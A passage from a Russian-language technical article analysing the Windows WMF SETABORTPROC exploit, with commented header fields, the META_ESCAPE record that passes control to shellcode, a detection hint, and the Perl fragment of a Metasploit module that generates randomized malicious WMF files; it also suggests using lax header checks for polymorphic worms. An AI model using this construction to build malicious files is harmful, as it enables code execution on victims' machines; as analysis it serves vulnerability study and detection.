Метафизика wmf файлов

       

откомментированный фрагмент простейшего wmf-эксплоита


Вначале идет стандартный wmf-заголовок, большинство полей которого игнорируются системой и потому может гут принимать любые значения. Главное, чтобы: FileType == 1, HeaderSize == 9, Version было 100h или 300h, а FileSize содержало достоверный размер файла, в противном случае IrfanViewr и другие графические программы обломаются с открытием метафайла (см. таблицу 1). Это обстоятельство можно использовать для создания полиморфных червей и прочей живности. (кстати говоря, функция PlayMetaFile допускает намного большую вольность, не проверяя поля FileType и FileSize).

К заголовку примыкает первая фреймовая запись, содержащая вызов функции META_ESCAPE (с "паспортным" кодом

626h) с подфункцией SETABORTPROC (код 0009h), принимающей два параметра — дескриптор контекста устройства (у Ильфака в данном случае равен 16h, но может быть любым) и машинный код, которому будет передано управление, то есть shell-код. Коды всех документированных функций описаны в WINGDI.H (см. "/* Metafile Functions */"), там же определены можно найти и Escape-последовательности., которые можно найти контекстным поиском по слову META_

Дизассемблирование GDI32.DLL показывает, что Windows считывает только младший байт функции (для META_ESCAPE это 26h), а в старшем передает кол-во параметров, которое никто не проверяет! Таким образом, чтобы распознать зловредный wmf-файл необходимо проанализировать все фреймовые записи в поисках функции 26h, подфункции 9h.

Размер фреймовой записи не обязательно должен соответствовать действительности, так же совершенно необязательно вставлять замыкающую фреймовую запись, как того требует wmf-спецификация, поскольку, когда shell-код получит управление все спецификации высадиваются на измену, то есть, идут лесом.

Что же касается самого shell-кода, то он вполне стандартен. Ильфак определяет базовый адрес KERNEL32.DLL через PEB,

(что не работает на 9x), разбирает таблицу экспорта, находит адрес API-функции LoadLibraryA, загружает USER32.DLL и выводит "ругательство" через MessageBoxA.
Чтобы shell-код работал и под 9x необходимо переписать функцию GetKrnl32addr, научив ее находить KERNEL32.DLL прямым поиском в памяти. Мыщъх уже писали об этом в статье "техника написания переносимого shell-кода", так что не будем повторяться, а лучше разберем другой эксплоит, последожнее.

Пусть это будет "Metasploit Framework", который можно скачать с www.metasploit.com/projects/Framework/modules/exploits/ie_xp_pfv_metafile.pm. Это добротный полиморфный эксплотит, с движком целиком написанным на Перле, и способный нести любую боевую начинку в переменной PayLoad. Ниже приведен его ключевой фрагмент, генерирующий wmf-файл.

// Metasploit Framework

'Payload'     =>

{



       'Space'              =>
1000 + int(rand(256)) * 4,

       'BadChars'    =>
"\x00",

       'Keys'        =>
['-bind'],

},

#

# WindowsMetaHeader

#

pack('vvvVvVv',

       # WORD  FileType;          /* тип метафайла (1 = память, 2 = диск) Type of metafile (1=memory, 2=disk) */

       int(rand(2))+1,            /* (на самом деле 0 - память, 1 - диск, kpnc) */

      

       # WORD  HeaderSize;        /* размер заголовка в словах (всегда 9) Size of header in WORDS (always 9) */

       9,

      

       # WORD  Version;           /* требуемая версия Windows Version of Microsoft Windows used */

       (int(rand(2)) == 1 ? 0x0100 : 0x0300),

      

       # DWORD FileSize;          /* полный размер метафайла в словах Total size of the metafile in WORDs */

       $clen/2,

      

       # WORD  NumOfObjects;             /* кол-во объектов в файле Number of objects in the file */

       rand(0xffff),

      

       # DWORD MaxRecordSize;            /* размер наибольшей записи в словах The size of largest record in WORDs */

       rand(0xffffffff),

      

       # WORD  NumOfParams;       /* не используется, может быть любым Not Used (always 0) */

       rand(0xffff),

       ).

       #

       # Filler data              /* случайные "мусорные" фреймы */

       #

       $pre_buff.

       #

       # StandardMetaRecord - Escape     /* META_ESCAPE */

       #

       pack('Vvv',

       # DWORD Size;              /* полный размер записи в словах Total size of the record in WORDs */

       4,

       # WORD  Function;          /* номер функции и случайное кол-во арг. Function number (defined in WINDOWS.H) */

       int(rand(256) << 8) + 0x26,

      

       # WORD  Parameters[];             /* номер подфункции SETABORTPROC Parameter values passed to function */

       9,

). $shellcode .                   /* фиктивное поле + shell-код */


Содержание раздела